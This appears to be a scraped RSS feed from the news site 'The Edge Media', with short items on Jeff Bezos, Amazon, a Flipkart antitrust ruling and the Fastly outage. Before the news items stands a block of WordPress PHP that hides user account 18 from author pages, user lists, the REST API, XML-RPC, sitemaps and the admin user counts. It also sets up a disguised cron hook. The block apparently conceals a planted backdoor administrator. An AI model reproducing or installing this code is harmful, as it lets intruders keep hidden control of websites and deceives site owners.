add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post “Did the Chinese Government just gain a bit…..?,” Bezos on Twitter Takeover By Musk appeared first on The Edge Media.
]]>After work hours, a spokesperson from Musk’s family office did not immediately reply to a request for comment. In just one of his first tweets following the take-private transaction, Musk defended free expression on the internet. Officials in China, meanwhile, have banned Twitter, as well as most other American social media platforms, due to concerns about the influence on public debate.
The post “Did the Chinese Government just gain a bit…..?,” Bezos on Twitter Takeover By Musk appeared first on The Edge Media.
]]>The post Supreme court rejects Amazon, Flipkart’s plea against CCI investigation. appeared first on The Edge Media.
]]>“As a big e-commerce organisation you should volunteer for antitrust investigation but you are objecting,” said chief justice of india (CJI) NV Ramana-led bench.
The CCI last year ordered an inquiry after allegations from brick-and-mortar retailers that the US firms promoted select sellers on their e-commerce platforms and used business practices that stifle competition.
The post Supreme court rejects Amazon, Flipkart’s plea against CCI investigation. appeared first on The Edge Media.
]]>The post Sanjal Gavande, the 30-year-old Maharashtra-born woman is part of Jeff bezos’ blue origin team. appeared first on The Edge Media.
]]>After completing her bachelor’s in Mechanical Engineering from the University of Mumbai, Sanjal Gavande left for the US to pursue a master’s in mechanical engineering at Michigan Technological University.
“I am really happy that my childhood dream is about to come true. I am proud to be a part of Team Blue Origin, Ms Gavande told Times of India over a phone call from the US.
The post Sanjal Gavande, the 30-year-old Maharashtra-born woman is part of Jeff bezos’ blue origin team. appeared first on The Edge Media.
]]>The post Jeff Bezos Steps Down From CEO Post appeared first on The Edge Media.
]]>The change follows a phenomenal Amazon streak which has brought attention to its inventions.
The post Jeff Bezos Steps Down From CEO Post appeared first on The Edge Media.
]]>The post Amazon unveils its IP Accelerator Programme appeared first on The Edge Media.
]]>This access, a statement by Amazon added, will help the sellers to secure trademark protection for their brands as well as from infringement mainly on Amazon websites across the country.
The IP Accelerator programme is already available in Europe and the United States, it added.
Mary Beth Westmoreland, vice-president, technology, brand protection at Amazon, said the IP Accelerator programme is already available in the US, Europe and Canada.
“We are excited to offer the advantages of this programme to our Indian businesses. Our Intellectual Property Accelerator Program enables businesses to protect their intellectual property, which in turn helps to ensure an authentic shopping experience for everyone,” said Amazon’s vice president technology, brand protection Mary Beth Westmoreland.
The programme was launched as a pilot project in India last year and received positive feedback from businesses, the statement said.
“Establishing IP rights is essential for businesses of all sizes to differentiate their products, earn customer trust and grow their business. However, the process can be complex and time-consuming, leading to a lot of businesses dropping off along the way,” Amazon India Director (MSME and Selling Partner Experience) Pranav Bhasin said.
The post Amazon unveils its IP Accelerator Programme appeared first on The Edge Media.
]]>The post Websites down due to huge internet outage appeared first on The Edge Media.
]]>Visitors trying to access CNN.com got a message that said: “Fastly error: unknown domain: cnn.com.” Attempts to access the Financial Times website turned up a similar message while visits to the New York Times and UK government’s gov.uk site returned an “Error 503 Service Unavailable“ message, along with the line “Varnish cache server,“ which is a technology that Fastly is built on.
Down Detector, which tracks internet outages, said: “Reports indicate there may be a widespread outage at Fastly, which may be impacting your service.”
In a detailed thread on Twitter, the Guardian’s UK technology correspondent Alex Hern wrote that the “massive internet outage” has been traced to a failure in a content delivery network (CDN) run by Fastly.”

His thread also notes that the the outage, which began shortly before 11am UK time, saw visitors to a vast array of sites receive error messages including “Error 503 Service Unavailable” and a terse “connection failure”. When we tried accessing CNN, we also get the 503 error.


According to Hern’s thread the problem can be traced to Fastly, which is a cloud computing services provider, and runs an “edge cloud that is supposed to speed up loading times for websites, protect them from denial-of-service attacks, and help them deal with bursts of traffic.”

On its status page, Fastly says the issue has been identified and a fix has been implemented. It adds that customers may experience increased origin load as global services return. The status page noted nearly an hour back that they are “currently investigating potential impact to performance with our CDN services.”
The post Websites down due to huge internet outage appeared first on The Edge Media.
]]>The post Amazon launched its miniTV service today, its a free video streaming service. appeared first on The Edge Media.
]]>Amazon said in a blogspot,”With the launch of miniTV, Amazon.in shopping app is now a single destination for customers to shop from millions of products, make payments and watch free entertainment videos”. Currently the new service can only be accessed by the Android users. The iOS and the mobile web versions will also be released in the upcoming months.
The e-commerce website has partnered with the leading studios like TVF, Pocket Aces and the comedians like Ashish Chanchlani, Amit Bhadana, Prajakta Kohli, Elvish Yadav, Round2Hell, Harsh Beniwal, Akash Gupta and many more. The customers will also see contents on Tech, fashion and beauty.
The service also features a food section, which has videos from Kabita’s Kitchen, Cook with Nisha and Gobble. Amazon has promised many more exclusive new videos in the upcoming weeks. It is important to note that Amazon Prime and miniTv are entirely different platforms.
The company said,”miniTV is completely free and it does not require a separate app. Prime Video requires a Prime subscription and offers a collection of award-winning Amazon Originals, latest movies and TV shows, in English as well as 9 Indian languages. Viewers can access Prime Video on the app or stream it o their smart TVs.
How to access the service?
To access miniTV, the customer needs to open the Amazon app on their Android phone. Till now, there is no separate access option for the same. Once the user opens the Amazon app, he/she just needs to scroll down a bit to access the miniTV. Once it is spotted, the user needs to click on the miniTV and the user will be redirected to a new section which contains free web series and other contents.
The post Amazon launched its miniTV service today, its a free video streaming service. appeared first on The Edge Media.
]]>